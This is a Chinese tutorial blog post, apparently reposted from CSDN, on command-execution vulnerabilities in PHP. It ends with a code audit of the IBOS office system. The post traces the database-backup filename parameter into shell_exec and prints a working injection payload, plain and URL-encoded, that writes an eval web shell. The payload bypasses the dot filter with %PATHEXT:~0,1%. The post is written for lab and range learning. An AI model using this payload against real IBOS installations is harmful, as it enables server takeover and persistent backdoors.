小言_互联网的博客

九、漏洞挖掘与代码审计(5)命令执行漏洞原理

335人阅读  评论(0)

一、命令执行漏洞原理

用户输入数据被当做系统命令执行

<?php system('whoani')?> 其实这个一句话木马的本质就是命令执行漏洞

 

代码执行:用户输入数据被当做后端代码执行

命令执行:用户输入数据被当做系统命令执行

 

因为代码执行情况下,可以调用命令执行函数,所以大部分代码执行都可以调用系统命令,菜刀中断操作也是利用命令执行函数,命令执行也可以写文件的方法获得webshell

 

命令行写入文件

二、命令执行函数解析

1、system('whoami');

目标机器是linux命令,执行的就是Bash命令,如果是windows就执行cmd命令

 

2、echo exec('whoami');

php会操作计算机执行whoami命令,并获取最后一行数据

3、echo shell_exec('whoami');

php会操作计算机执行whoami命令并获取所有数据

4、passthru('whoami');

只调用命令,把命令的运行结果原样输出到标准输出设备

5、特殊符号,反引号(`) => echo `whoami`;

反引号其实就是调用的shell_exec()函数

6、popen(要执行的命令,参数)

r是读,w是写

$a = popen('whoami','r');

echo fread($a,1024);

这个执行命令的返回值比较特殊,返回的是一个文件指针,需要用fread读取返回值。

 

三、本地实验

1、在虚拟机上安装IBOS,安装好后在本地访问

 

2、源码审计

这里我们进入Seay源码审计系统,发现里面的源代码看不懂,是因为使用了Zend加密了源码。我们先使用工具解密。

解密后正则表达式匹配exec\(.*\),搜索到shell_exec()的函数调用

源代码如下,我们找可以利用的变量


  
  1. shell_exec($mysqlBin . 'mysql -h"' . $db[ 'host'] . ($db[ 'port'] ? (is_numeric($db[ 'port']) ? ' -P' . $db[ 'port'] : ' -S"' . $db[ 'port'] . '"') : '') .
  2. '" -u"' . $db[ 'username'] . '" -p"' . $db[ 'password'] . '" "' . $db[ 'dbname'] . '" < ' . $file);

 (1)$mysqlBin

$mysqlBin相关源代码

三目运算符,  判断条件?成立时执行1:不成立执行2

$mysqlBin = $mysqlBase == '/' ? '' : addslashes($mysqlBase) . 'bin/';

$mysqlBase相关源代码

 $mysqlBase = $query['Value'];

$query相关函数

$query = $command->setText("SHOW VARIABLES LIKE 'basedir'")->queryRow();

 

SHOW VARIABLES LIKE 'basedir'是一个数据库执行语句,返回一个路径,这个路径被赋值给$mysqlBase

如果$mysqlBase等于/,则输出空,如不是,则添加在原路径下添加bin/,并赋值给$mysqlBin

$mysqlBin是从数据库执行语句得到,核心是查询数据库的变量

 

(2)$db

再看shell_exec的源代码,里面有一个$db,我们回溯到如下代码


  
  1. $config = @ include PATH_ROOT . './system/config/config.php';
  2. if ( empty($config)) {
  3. throw new Exception(Ibos::Lang( 'Config not found', 'error'));
  4. } else {
  5. $db = $config[ 'db'];
  6. }

$db是由$config决定,$config是由system/config/config.php决定

$db是从config.php中读取出来,这是一个配置文件,一般不可控制

 

(3)$file

再查看源码,找到可以利用的$file


  
  1. function restore($id)
  2. {
  3. $path = PATH_ROOT;
  4. if (strstr($path, 'data')) {
  5. $id = trim(str_replace( 'data', '', $id), '/');
  6. }
  7. $file = urldecode($id);
  8. $fp = @fopen($file, 'rb');

$file是urldecode($id)的值,id是一个形参,有restore函数决定。于是我们可以搜索restore调用的地方,一个个分析。但这样的方法效率很不高,所以我们换个思路。

 

再次查看源代码


  
  1. shell_exec($mysqlBin . 'mysql -h"' . $db[ 'host'] . ($db[ 'port'] ? (is_numeric($db[ 'port']) ? ' -P' . $db[ 'port'] : ' -S"' . $db[ 'port'] . '"') : '') .
  2. '" -u"' . $db[ 'username'] . '" -p"' . $db[ 'password'] . '" "' . $db[ 'dbname'] . '" < ' . $file);

这里涉及mysql导出命令,关键词<

带条件导出数据:mysqldump -u root -p --where='id<5' 数据库名> D:\导出文件名.sql

我们在全局搜索还可以搜索到一个带有shell_exec的函数,在/system/core/utils/Database.php中,代码如下

$mysqlBin和$db不可控制,再查看$dumpfile,核心是导出文件名,于是搜索$dumpfile是否可以被控制。

找到$dumpfile被$backupFileName控制

 

再搜索$backupFileName,发现$backupFileName是由$fileName决定,将$fileName中的  /  \\  .  '  都替换成空

$fileName由getRequest决定,这是YII框架,用于获取信息

 

总结一下$dumpFile -> $backupFileName -> $fileName -> getRequest("filename")

filename 传参不能出现array("/","\\","."," ' ")中这些东西

 

$fumpFile = $backupFileName . "-%s.sql";   这里会给文件名加后缀 . sql,最后执行dumpfile。

 

在后台系统中开启数据库的系统mysql dump备份,提交,抓包,我们可以抓到带有文件名的burp数据包

在服务器主机上也找到备份的文件

我们可以通过上传&echo "<?php eval($_REQUEST[8]);?>">123.php&qwe

来上传一个123.php的一句话木马。

但由于源代码中要过滤字符. 所以我们要设法绕过,详见https://www.anquanke.com/post/id/208398

我们可以利用环境变量中的. 来绕过检测

所以执行代码如下:

asdasd&echo "<?php eval($REQUEST[8]);?>">aaa%PATHEXT:~0,1%php&qwe

文件上传是需要经过post传参,影响了&,文件没有上传成功。但这里$fileName由getRequest决定,不仅可以获得post,也是可以使用get传参的,可以使用url编码,解决对&的影响。

filename=asdasd&echo "<?php eval($_REQUEST[8])?>">aaa%PATHEXT:~0,1%php&qwe

&filename=asdasd%26echo %22%3C%3Fphp eval(%24_REQUEST%5B8%5D)%3F%3E%22%3Eaaa%25PATHEXT%3A%7E0%2C1%25php%26qwe

最后上传成功

可以获得phpinfo的界面

四、靶场

靶场和本地一样的做法,连接菜刀,找到flag

 

 

 

 


转载:https://blog.csdn.net/weixin_45540609/article/details/117317691
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场